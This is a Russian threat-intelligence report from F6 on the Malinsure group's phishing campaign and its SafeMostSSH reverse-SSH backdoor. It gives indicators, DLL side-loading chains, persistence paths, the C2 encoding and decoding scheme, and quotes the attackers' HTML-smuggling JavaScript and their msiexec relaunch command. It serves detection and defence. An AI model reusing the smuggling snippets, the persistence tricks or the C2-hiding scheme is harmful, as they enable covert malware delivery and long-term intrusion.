
Привет! На связи — специалисты департамента киберразведки компании F6.
Исследователи ежегодно фиксируют появление новых киберпреступных группировок, нацеленных на российские компании. В большинстве случаев эти угрозы — не результат ребрендинга, раскола или реорганизации уже известных кластеров, перезапущенных под новым именем, а действительно новые группировки с уникальными инструментами, инфраструктурой и TTPs.
В июле 2026 года на одной из публичных онлайн-песочниц мы обнаружили семплы вредоносного программного обеспечения, загруженные с территории Российской Федерации и объединенные именованием файлов, связанным с тематикой добровольного медицинского страхования (ДМС). Эти семплы не удалось атрибутировать известному ВПО, в связи с чем данное ПО — бэкдор — было признано уникальным.
Вредоносной программе мы присвоили название SafeMostSSH, образованное от следующих уникальных признаков: Safe — от URL-адреса, который использовался в первом канале связи с C2, Most — от слова telemost, упомянутого в имени домена, через который также осуществлялась доставка команд, и SSH — указывает на основной протокол взаимодействия.
Мы не обнаружили какой-либо известной группировки, которая использовала бы такое ВПО, сетевую инфраструктуру, а также TTPs, в связи с чем отслеживаем эту активность как новый кластер угроз с наименованием Malinsure (от англ. insure — страхование, по профилю компании, от имени которой злоумышленники распространяли файлы-приманки). Содержимое обнаруженных файлов-приманок связано также с компаниями из финансовой сферы и топливно-энергетического комплекса, что указывает на вероятный спектр целей злоумышленников.
В числе особенностей ВПО, которое использует эта группировка, можно отметить необычный способ получения новых адресов С2 (управляющих серверов) из внешних источников. В качестве одного из таких источников используется пост на популярной российской медиаплатформе о бизнесе и технологиях vc.ru, посвящённый автозапчастям. В тексте поста размещены две ссылки, которые формально ведут на PNG-файл, размещённый на Google.com, однако на самом деле эти ссылки — ложные: Google не находит на сайте запрашиваемый URL. Ложные ссылки используются для маскировки С2-адресов, которые зашифрованы в теле ссылки: ВПО декодирует эту информацию и получает необходимые данные.
Более подробно эти и другие особенности группировки рассмотрим далее.
Зловредное страхование
Первым шагом, с которого начиналась атака Malinsure, были фишинговые письма. Один из таких примеров — электронное письмо с темой «Акция! ДМС со скидкой до 60% для родственников» (SHA-1: 40f799f997cb3a8162bded7b64575cad519ca6db), направленное с электронного почтового ящика mutewinter78@gmail.com и почтового сервера, расположенного на хосте 191.44.37[.]222. Внутри — файл с именем «ДМС обновления.pdf» (SHA-1: 9a5d438119eb1548aa5db803eeefb4fcbad12344).
Файл содержит информацию о порядке действий, необходимых для получения документа, связанного с обновленной программой ДМС российской страховой компании. В тексте документа пользователю предлагают перейти по ссылке: hxxps://{название компании}-filesharing[.]ru/%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%B2%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B5%20%D0%94%D0%9C%D0%A1.rar.
В результате перехода по указанной ссылке на устройство жертвы загружается архив с именем Изменения в программе ДМС.rar (SHA-1: 01bfd6f549ae0b6458bb26b605dbdc2e468ef576).
Анализ ВПО доступен в F6 Malware Detonation Platform
Архив содержит следующие файлы:
● Программа ДМС в ред 13.07.2026.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2);
● settings (SHA-1: 896bae561c66b3f82ced36deed075b47f5b46069);
● C2R64.dll (SHA-1: 57cbbf5ab2d5571fef8a2093806ca56372069343);
● AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377).
В ходе дальнейшего исследования обнаружены и другие семплы, аналогичные вышеуказанному:
|
Имя файла |
Ссылка |
Архив, загружаемый по ссылке |
Содержимое архива |
|
ДМС для родственников.pdf (SHA-1: 470dd3478be26d5cfdca38f95f585dd9d9374780) |
hxxps://{название компании}-cdn[.]ru/%D0%A1%D1%82%D1%80%D0%B0%D1%85%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20%D1%80%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2[.]zip |
Страхование родственников.zip (SHA-1: fdb431b2bdea01be2a1b543accaf41efe25b6b05) |
Коммерческое предложение по ДМС.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2); resources (SHA-1: a43e9145e9905024f04fb95a3a6982227f8f794c); C2R64.dll (SHA-1: 93fc8fe2f27dac35febf56657097d90829d11c7c); AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377).
|
|
ДМС для родственников.pdf (SHA-1: effef9a2ba91dacbf9a123d9b8b4dafbd5613db9) |
hxxps://cdn-{название компании}[.]ru/%D0%A1%D1%82%D1%80%D0%B0%D1%85%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%20%D1%80%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2[.]zip |
Страхование родственников.zip (SHA-1: 825a2dd36396be4cc51f150744ff4fd4697f03ad) |
Коммерческое предложение по ДМС.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2); resources (SHA-1: a43e9145e9905024f04fb95a3a6982227f8f794c); C2R64.dll (SHA-1: 906a389fa80e570199b8ba6692294f48610127e1); AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377). |
|
ДМС обновления.pdf (SHA-1: 6c5d283d80dfac7d5a775084281c665fce307acd) |
hxxps://{название компании}-files[.]ru/%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%B2%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B5%20%D0%94%D0%9C%D0%A1.rar |
Изменения в программе ДМС.rar (SHA-1: 7f8035c8dad5663b0e7112ddba62be3420a3f23e) |
Программа ДМС в ред 13.07.2026.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2); settings (SHA-1: 896bae561c66b3f82ced36deed075b47f5b46069); C2R64.dll (SHA-1: e5932991c81f015cb678b9ab02a3c51914efd9ce); AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377)
|
|
ДМС обновления.pdf (SHA-1: e006219905c91a14432dd8b1e468882ecc212dd7) |
hxxps://files-{название компании}[.]ru/%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F%20%D0%B2%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B5%20%D0%94%D0%9C%D0%A1.rar |
Изменения в программе ДМС.rar (SHA-1: baf64b0441921b7129cb973519f121c2dece790f) |
Программа ДМС в ред 13.07.2026.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2); settings (SHA-1: 896bae561c66b3f82ced36deed075b47f5b46069); C2R64.dll (SHA-1: b6288e75a53ccdbcfca034d153950147937dd77b); AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377) |
|
|
|
Пенсионные отчисления.rar (SHA-1: 59c13de01add9c7eb1285d6c689cd8dc72ba7ea0) |
Обновленный порядок пенсионных отчислений.docx.exe (SHA-1: 6857ece28c264b5099377eb54cb8a5e2e3ea8bd2) db (SHA-1: f55958b10092257aa6389f5aba6f04f1a6511874) AppVIsvSubsystems64.dll (SHA-1: c97ed35b1d90b0f2c3f0e3d621f2b5d4b2dc1377) |
|
|
|
Зарплатный проект ***нефть (2).zip (SHA-1: fb941439c46df1c4c6b09be37f7b3e0ce38c2979) |
config (SHA-1: 98cdaacd7d9085a16dbd8494b6fa76fc5aaa5949) AppVIsvSubsystems64.dll (SHA-1: b643e3d44d1953e730728255c458c13ebba4c789) |
|
|
|
ZIP-архив (SHA-1: 8c496e00831b32e985bfe6925cee7691bc74b81f) |
config (SHA-1: 98cdaacd7d9085a16dbd8494b6fa76fc5aaa5949) AppVIsvSubsystems64.dll (SHA-1: 3c17498eb5c8ec311cab53f497e7a30da954f5dd) |
|
|
|
ZIP-архив |
Config (SHA-1: 98cdaacd7d9085a16dbd8494b6fa76fc5aaa5949) AppVIsvSubsystems64.dll (SHA-1: b4a3e7a911a8193c4b2cc44032523f2dacc5d2a4) |
|
|
|
ZIP-архив (SHA-1: f130faf86e3ac0a4685ba5ef9181b59b8443927a) |
C2R64.dll (SHA-1: e5932991c81f015cb678b9ab02a3c51914efd9ce) |
|
|
|
ZIP-архив (SHA-1: 6504f576ad38f04104702a9d6c569adf341e1376)
|
C2R64.dll (SHA-1: a0e0ec0e6246dbf9a82cde34d9a95532b3fbec3c) |
|
|
|
|
AppVIsvSubsystems64.dll (SHA-1: 33cc837d54834d25aabd3b2c885eb7f6398ffc96) |
|
|
|
|
C2R64.dll (SHA-1: 740375e7e88229ba6035afe00b21a0c2f91d4f2a) |
|
|
|
|
rpc64.dll (SHA-1: ac0f4222088f4dea22d890e7c294a53eb867b640) |
|
|
|
|
rpc64.dll (SHA-1: 4d107d9ba2ed6416c4dab448b907f0dcaa76fada) |
Содержимое обнаруженных файлов-приманок, как мы отмечали выше, связано с компаниями из страховой, финансовой и нефтяной сфер, а среди доменов злоумышленников встречаются gosuslugi[.]email и minfin[.]supportчто может указывать на широкий спектр целей злоумышленников.


Стоит отметить, что в ходе исследования был обнаружен дополнительный способ доставки полезной нагрузки, в рамках которого атакующие распространяли shtml- и htm-файлы.
|
Имя файла |
Загружаемый архив |
Содержимое архива |
|
Зарплатный проект.htm (SHA-1: cfe266f0aa8629fd724d3af1ce496c49c6218a92) |
Зарплатный проект ***нефть.zip (SHA-1: 2570d0a0fccfa0532cce43f8e44f12b0b5ecb027) |
config (SHA-1: 98cdaacd7d9085a16dbd8494b6fa76fc5aaa5949) Зарплатный проект ***нефть.pptx.exe (SHA-1: 90f2a35252a3865f18b1720915ac28a348e042a3) AppVIsvSubsystems64.dll (SHA-1: ee5dd0c98709e645c3e13ec2da0136dd9dd4ae17) |
|
Специальное предложение.shtml (SHA-1: 626360ea0408845db2e0dfab23ba1a2b1b767956) |
Специальное предложение ***нефть.rar (SHA-1: 7db4f6ecbdf4955d411ab947110d5b6a12622662) |
Storage (SHA-1: 8b43c1d85a2db0f62c5fa644d4db0a32efb962ec) Вклады и накопительные счета ***Банка.pptx.exe (SHA-1: 90f2a35252a3865f18b1720915ac28a348e042a3) AppVIsvSubsystems64.dll (SHA-1: a84ee1d39ec05b362a3b84a7680aa1e304e0acd0) |
Указанные файлы содержат полезную нагрузку, закодированную в base64 и hex соответственно. В результате запуска данных файлов происходило извлечение полезной нагрузки, которая сохранялась на устройстве жертвы в виде архива.
<animate onrepeat="var b=atob('{Полезная нагрузка}'.split('').reverse().join('')),a=new Uint8Array(b.length),i=0;for(;i<b.length;i++)a[i]=b.charCodeAt(i);var b=new Blob([a],{type:'application/octet-stream'});var u=window.URL.createObjectURL(b);fetch(u).then(function(r){return r.blob()}).then(function(bl){var bu=window.URL.createObjectURL(bl);var l=document.createElementNS('http://www.w3.org/1999/xhtml','a');l.href=bu;l.download='Специальное предложение ***нефть.rar';(document.body||document.documentElement).appendChild(l);l.click();l.remove();window.URL.revokeObjectURL(bu);window.URL.revokeObjectURL(u);var _d=document;try{if(parent&&parent.document!==_d)_d=parent.document}catch(_e){}var _f=function(){var sl=_d.getElementById('sl'),sd=_d.getElementById('sd');if(sl)sl.style.display='none';if(sd)sd.style.display='block'};var _lo=false,_w=window;try{if(parent&&parent!==window)_w=parent}catch(_e){}_w.addEventListener('blur',function(){_lo=true});_w.addEventListener('focus',function(){if(_lo)_f()});setTimeout(function(){if(!_lo)_f()},1500)});" attributeName="x" dur="0.01s" repeatCount="2"></animate>
<div onfocusin="var h='{Полезная нагрузка}',a=new Uint8Array(h.length/2),i=0;for(;i<a.length;i++)a[i]=parseInt(h.substr(i*2,2),16);var b=new Blob([a],{type:'application/octet-stream'});var r=new FileReader();r.onloadend=function(){var l=document.createElementNS('http://www.w3.org/1999/xhtml','a');l.href=r.result;l.download='Зарплатный проект *** нефть.zip';(document.body||document.documentElement).appendChild(l);l.click();l.remove();var _d=document;try{if(parent&&parent.document!==_d)_d=parent.document}catch(_e){}var _f=function(){var sl=_d.getElementById('sl'),sd=_d.getElementById('sd');if(sl)sl.style.display='none';if(sd)sd.style.display='block'};var _lo=false,_w=window;try{if(parent&&parent!==window)_w=parent}catch(_e){}_w.addEventListener('blur',function(){_lo=true});_w.addEventListener('focus',function(){if(_lo)_f()});setTimeout(function(){if(!_lo)_f()},1500)};r.readAsDataURL(b);" autofocus tabindex="1" style="position:absolute;opacity:0;width:0;height:0"></div>
Цепочки атак
В ходе исследования указанных файлов специалисты F6 выявили две вариации цепочки атак, мало отличающиеся между собой.
В общем случае в основе цепочки атаки лежит доставка архива, который содержит легитимный файл winword.exe или powerpnt.exe с измененным именем, мимикрирующим под тематику рассылки и использующим двойное расширение в имени, а также файлом-приманкой и одним или двумя DLL-файлами, скрытыми от пользователя посредством установки соответствующего атрибута.
Первый вариант
В первом варианте распространяется RAR- или ZIP-архив с расположенной внутри одноименной директорией. Внутри нее располагаются 4 файла:
● EXE-файл (в примере — Программа ДМС в ред 13.07.2026.docx.exe) — легитимный winword.exe-файл (SHA256: e5d22ec52db82df6fefd8a093ca57400eefb735a278229cd955dfb23565f40e0);
● файл-приманка (в примере — settings) — отвлекающий документ, который запускается в результате исполнения цепочки атаки;
● AppVIsvSubsystems64.dll — в данном случае легитимная библиотека, загружаемая исполняемым файлом winword.exe;
● C2R64.dll — вредоносная библиотека, загружаемая техникой DLL Side-Loading, библиотекой AppVIsvSubsystems64.dll.
После запуска легитимного файла winword будет загружена библиотека AppVIsvSubsystems64.dll, которая, в свою очередь, загружает вредоносную библиотеку C2R64.dll. Данная библиотека после загрузки выполнит основную функцию, в ходе которой перезапустит себя командой:
C:\Windows\System32\msiexec.exe /Passive /Quiet -z "{filepath}\C2R64.dll"
Это позволяет реализовать технику LOLbin (Living off the Land), при этом вызывается функция DllUnregisterServer, которая является одной из точек входа в реализацию вредоносного кода.
C примером техники можно ознакомиться в проекте lolbas.
Второй вариант
В втором варианте цепочки атаки вместо winword.exe используется легитимный файл powerpnt.exe (SHA-1: 90f2a35252a3865f18b1720915ac28a348e042a3). В данной цепочке вредоносной библиотекой является сразу AppVIsvSubsystems64.dll без использования C2R64.dll. При загрузке вредоносной библиотеки также используется перезапуск себя с техникой LOLbin через команду:
C:\Windows\System32\msiexec.exe /Passive /Quiet -z "{filepath}\AppVIsvSubsystems64.dll".
Технические детали (SafeMostSSH)
SafeMostSSH — многофазный бэкдор, использующий легитимные бинарные файлы Microsoft (winword.exe, powerpnt.exe) в качестве отправной точки. В ходе исполнения ВПО реализовывает DLL‑Side‑Loading, LOLbin‑техники (msiexec). Кроме того, SafeMostSSH автоматически восстанавливает свои компоненты из скрытого бэкапа и умеет получать новые C2‑точки из публично доступных ресурсов (VC.ru, CNAME‑lookup).
В результате исполнения ВПО обеспечивает атакующему постоянный обратный SSH‑туннель к управляемому С2. Оригинальные точки входа ВПО — функции DllRegisterServer и DllUnregisterServer, которые вызывают функцию main_DllUnregisterServer. Также в коде найдены и другие функции, с которых запускалась часть активности, к примеру main_main, но ее запуск в коде найден не был. Вероятно, она использовалась при тестировании ВПО.
После запуска выполняется поиск файла по SHA256-хеш-сумме в директории, где расположена библиотека:
● e5d22ec52db82df6fefd8a093ca57400eefb735a278229cd955dfb23565f40e0 (для winword.exe)
● 6fd5e00ebc677da738851c0adbb85f9332ccd2459827defd4ed38a25bfb02c37 (для powerpnt.exe)
Далее будет найден файл-приманка, его имя жестко закодировано внутри ВПО, в анализируемом файле имя — settings. Затем выполняется проверка наличия данного файла в директории с библиотекой и запуск через Word или PowerPoint в зависимости от того, какой файл был найден по хеш-сумме. При попытке запустить документ изначально используется файловый путь по умолчанию:
● C:\Program Files\Microsoft Office\root\Office16\winword.EXE и C:\Program Files (x86)\Microsoft Office\Office16\winword.EXE для winword.exe
● C:\Program Files\Microsoft Office\root\Office16\powerpnt.EXE и C:\Program Files (x86)\Microsoft Office\Office16\powerpnt.EXE для powerpnt.exe
В случае если запуск не выполнен, ВПО будет использовать файл, найденный по хеш-сумме из директории библиотеки.
Далее происходит проверка, находится ли зараженная система в домене, путем выполнения функции NetGetJoinInformation и проверки флага подключения к рабочей группе (NetSetupDomainName). В случае, если компьютер не в домене, ВПО завершает работу. В ином случае продолжает свое исполнение.
Затем ВПО собирает метаинформацию о ВПО и процессе исполнения, которая собирается в символьную строку и добавляется к одному из доменных имен, которые хранятся в файле в закодированном виде описанным ранее алгоритмом:
● app.telemost-ads.net
● static.telemost-ads.net
● ms.telemost-ads.net
Далее ВПО будет последовательно задействовать указанные домены для получения ассоциированного IP-адреса. Процесс будет продолжаться либо до тех пор, пока не будет получен нужный IP либо пока не закончится список доменов. Однако в ходе исследования применения данного IP-адреса обнаружено не было. Шаблон формирования домена: {1}{2}{3}{4}{5}{6}.{domain}, где
● {1} — символ из набора (A | B | C) в зависимости от того, найден был ранее файл winword.exe, powerpnt.exe или другой результат;
● {2} — символ из набора (G | H | I) в зависимости от того, был запущен файл-приманка, презентация или ничего запущено не было;
● {3} — символ из набора (J | K | L | M | N) в зависимости от конфигурационной строки соответствующей темы файлов-приманок, под которую мимикрирует атака;
● {4} — символ из набора (U | I | O) в зависимости от типа килчейна A (цепочка атаки с использованием библиотеки C2R64), B (цепочка атаки где вредоносный код находится сразу в библиотеке AppVIsvSubsystems64) или не соответствующий ни одному из представленных;
● {5} — символ из набора (W | Y) в зависимости от того, запущен ли файл из директории для закрепления в системе или нет (логика закрепления в системе описана ниже);
● {6} — жестко закодированная строка внутри семпла (в примере из исследуемого файла abe3, но также были найдены: 0b6d, 8bee, 9ab4, 7bae, c1f5, 48f3, b43b).
Пример сгенерированного домена: agluyabe3.static.telemost-ads.net.
Далее выполняются проверки закрепления в системе и наличия бекапов.
Проверка закрепления
Логика закрепления в системе описана ниже. На текущем этапе выполняется проверка наличия файлов в одном из четырёх выбираемых для закрепления файловых путей, а также наличия одного из LNK-файлов в Startup-директории.
Проверка наличия бэкапов
Логика создания бэкапа также описана ниже. В данном этапе выполняется проверка наличия всех необходимых файлов по файловому пути %APPDATA%\Microsoft\Internet Explorer\UserData\Low.
Если на этапе проверок они не были выполнены успешно (не найдены все необходимые файлы), процесс исполнения переходит к закреплению в системе и созданию бэкапов.
Закрепление в системе
Для закрепления в системе, ВПО случайным образом выбирает один из файловых путей:
● %APPDATA%\Microsoft\Office\Cache
● %APPDATA%\Microsoft\Edge\History
● %APPDATA%\Microsoft\Excel\Recents
● %APPDATA%\Microsoft\Spelling\ru-RUs
И выполняет копирование собственных файлов в данную директорию. В случае с изначальным файлом, являющимся легитимным winword.exe или powerpnt.exe, файлы копируются с оригинальным названием. Также перемещенным файлам добавляются флаги скрытых и системных файлов.
После этого ВПО переходит к созданию LNK-файла и INI-файла в директории автозапуска. Имя LNK-файла будет сформировано в зависимости от случайно выбранной директории:
● Word.lnk
● Microsoft Edge.lnk
● Excel.lnk
● Share Point.lnk
Создание LNK-файла выполняется через изначальное создание файла desktops.ini в директории автозагрузки и последующим его переименованием в заранее определенное имя для LNK. Сам ярлык запускает файл winword.exe или powerpnt.exe из директории, в которую были скопированы файлы.
Создание бэкапов
ВПО копирует файлы в директорию %APPDATA%\Microsoft\Internet Explorer\UserData\Low и скрывает файлы. Копирование выполняется по следующему соответствию имен:
Легитимный winword или powerpnt -> userSettings.db
AppVIsvSubsystems64.dll -> userData.db
C2R64.dll -> userLog.db (только для цепочки заражения с использованием winword.exe)
LNK -> image.edb
Также ВПО создает в данной директории desktops.ini с содержимым в виде директории, в которую были скопированы файлы для закрепления в системе, и извлекает из собственных ресурсов (Embed) файл по внутреннему расположению dll/rpc64.dll с именем rpc64.dll. Ко всем файлам внутри директории также добавляются флаги скрытых и системных файлов.
Далее выполняется загрузка в память извлеченной библиотеки rpc64.dll, использующейся для создания невидимого пользовательского окна, логирования сообщений, проверки персистентности системы и ее востановлении из директории бэкапов. Подробнее она описана в разделе SafeMostSSH.Monitor.
Запуск сервиса клиента reverse ssh
Перед началом проверки состояния исполнения и запуска основной логики обратного ssh ВПО выполняет установку настроек через функцию makeInitialSettings. Стоит отметить, что логика настроек полностью пересекается с аналогичной функцией в публично доступной реализации инструмента.
В коде исследуемого ВПО обнаружена строка с опечаткой в слове host «Couldnt get hosft name: %s», которая отсутствует в вышеуказанных проектах.
Ниже представлен разбор основных настроек на примере и пояснение к ним:
-
«32b2f2eb6d2d72f4e4c4bd52d2e2d4acbcc4bd72b2ab5323131060071e066b219» — Hex-строка части C2, сжатого через Gzip
-
«4896263b9af31d49666a701d2e5320e751ce8b26f3b5395dc01deb35d5f9f124» — Fingerprint
-
true — установленный флаг аналогичный полю настроек ProxyUseHostKerberos
-
true — установленный флаг аналогичный полю настроек ProxyAutoDetect
-
«/uzqbepcdfzfwh0e» — установленный путь для WS-запросов, поле аналогичное настройке WSPath
Исходя из изученных нами образцов ВПО установлено, что в настройках отличались только C2-адрес и WSPath.
Далее выполняется проверка, является ли запущенный процесс сервисом (стандартная функция IsWindowsService). Если процесс не является сервисом или при проверке возникла ошибка, выполняется переход к запуску основной логики запуска reverse ssh клиента (функция Run). В ином случае процесс исполнения перейдет к функции запуска сервиса runService с передачей имени сервиса «rssh». Также и основная функция с проверкой выполнения как сервис и запуск активности представлена в примерах Google. Внутри функции runService к запуску передается функция Run. Этот код также используется в проекте Reverse SSH.
Основная логика клиента reverse ssh не претерпела каких-либо значительных изменений: протокол взаимодействия полностью соответствует изначальному. Основное отличие данных функций заключается в декодировании и получении дополнительных C2-адресов. Все адреса, которые хранятся внутри файла и на внешнем ресурсе, имеют вид части Hex-строки по результату сжатого алгоритмом Gzip управляющего сервера. Пример декодирования:
-
закодированная строка (пример: 32b2f2eb6d2d72f4e4c4bd52d2e2d4acbcc4bd72b2ab5323131060071e066b219) оборачивается в строку формата 1f8b080000000000000{coded_str}000000;
-
приводится в бинарный формат из Hex-строки;
-
выполняется декомпрессия алгоритмом Gzip.
В итоговом примере будет получен C2 — wss[:]//safe-surfing[.]ru:443
После начала работы декодируются зашитые внутри семпла C2-адреса. В известных нам примерах в каждом семпле был только один C2-адрес, однако они могут быть перечислены через разделительный символ «,». При подключении к C2 ведется подсчет попыток подключения. Если попыток было более 100, семпл прекращает свою работу, после четвёртой неудачной попытки семпл переходит к сбору новых C2 из внешних источников.
Сбор С2 из внешних источников
У исследуемого ВПО мы обнаружили два способа получить новые С2-адреса из внешних источников.
Первый способ: VC.ru
ВПО выполняет запрос к ссылке, ведущей на пост пользователя на платформе vc.ru: https://vc.ru/id6030334/3009787-gde-nayti-zapchasti-dlya-great-wall-safe (опубликован 3 июля 2026 года, 12 августа по обращению F6 удалён администрацией платформы).
При запросе используется User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36. С получаемой страницы собираются ссылки, соответствующие регулярному выражению:
"https?://(?:[a-zA-Z0-9-]+\\.)*google\\.com[^\\s\"'<>()\\\\]*".
В примере выше собранные ссылки:
https://google[.]com/32b2f2eb6d2d72f2d48492c492d4f4d2a2a49d62b2ab53231310600ec27324219.png
https://google[.]com/32b2f2eb6d2d72f4ecc4d4a2c2ec92f4ad52b2ab5323131060036feec6b17.png
Из данных ссылок будут взяты Hex-строки имен файлов, к которым выполняется обращение, после чего они будут декодированы по алгоритму, аналогичному тому, который используется для декодирования хранящихся в семпле C2. В данном примере декодированные адреса:
wss[:]//updatewebrtc[.]ru:443wss[:]//sambastore[.]ru:443
Второй способ: CNAME lookup
Внутри ВПО хранится закодированный (34b2ed62b49cd49cdcd2f2ed14d4c29d6cb4b2d01003c75a27b13) домен cs[.]telemost-ads[.]net, к данному домену выполняется запрос CNAME-записи.
После из полученного поля будут удалены символы «.» и данная строка будет декодирована стандартным алгоритмом. Декодированные адреса из примера:
wss[:]//tlswebsurfing[.]ru:443, wss[:]//glonastracking[.]ru:443
После чего данные адреса собираются в один список и используются для создания соединения.
Логирование
Внутри библиотеки также реализовано отслеживание подгрузки библиотек, логирование ведется в файл по пути C:\ProgramData\dll_load.txt, с шаблоном записи: {ms_system_startup}|{username}: {main_module_path} -> {loaded_dll_path} | {empty_str}\n. Пример: 978481421|{username}: C:\Windows\System32\rundll32.exe -> {filepath}\AppVIsvSubsystems64.dll | . Также внутри файла присутствует функция с дополнительным логированием в файл c:\programdata\debug_error_log.txt, которая логирует строки с форматом [NTSTATUS ERROR] %s | Status Code: 0x%08X, однако ее использования найдено не было.
SafeMostSSH.Monitor
Данная библиотека извлекается и подгружается в память ВПО в ходе инициализации. Основная задача данной библиотеки — создание окна и отслеживание сообщений с целью логирования состояния, контроля бекапирования и закрепления в системе ВПО.
После запуска DllMain функции устанавливается перехват функции GetMessageW. Однако перехват будет выполнен единожды для запуска собственного потока мониторинга состояния, после того как был выполнен перехват и запущен поток, хук будет отключен и происходит установка флага инициализации потока, проверка которого выполняется перед запуском нового потока для предотвращения повторного запуска.
Поток мониторинга создает невидимое пользовательское окно с собственным обработчиком и названием «SessionMonitorWindowClass». После этого выполняется регистрация WTS-уведомлений (Windows Terminal Services или Remote Desktop Services в новых версиях Windows). Далее выполняет переход к функции инициализации всех необходимых файловых путей. После чего выполняется получение и обработка сообщений для созданного окна.
Обработчик окна
Обрабатывает сообщения:
● WM_WTSSESSION_CHANGE
● WM_ENDSESSION
● WM_QUERYENDSESSION
● WM_DESTROY
● WM_CLOSE
При получении сообщения WM_WTSSESSION_CHANGE выполняет логирование получаемых событий:
● WTS_REMOTE_CONNECT
● WTS_REMOTE_DISCONNECT
● WTS_SESSION_LOGOFF
● WTS_SESSION_LOCK
● WTS_SESSION_UNLOCK
Сами события далее обрабатываются по умолчанию.
Также при получении событий WM_ENDSESSION, WM_DESTROY и WM_CLOSE выполняется обработка по умолчанию и в случае WM_ENDSESSION выполняется логирование информации о получении сообщения.
В случае получения сообщения WM_QUERYENDSESSION выполняется проверка наличия необходимых файлов в директории, предназначенной для достижения персистентности в системе (набор winword.exe, AppVIsvSubsystems64.dll, C2R64.dll или powerpnt.exe, AppVIsvSubsystems64.dll) и проверка наличия LNK-файла в Startup-директории. Если проверка наличия файлов не пройдена, выполняет копирование файлов из директории бэкапов в директорию для закрепления в системе, в случае успешного копирования файлов выполняет копирование LNK-файла в Startup-директорию с именем «Word.lnk».
ссылка на оригинал статьи https://habr.com/ru/articles/1070006/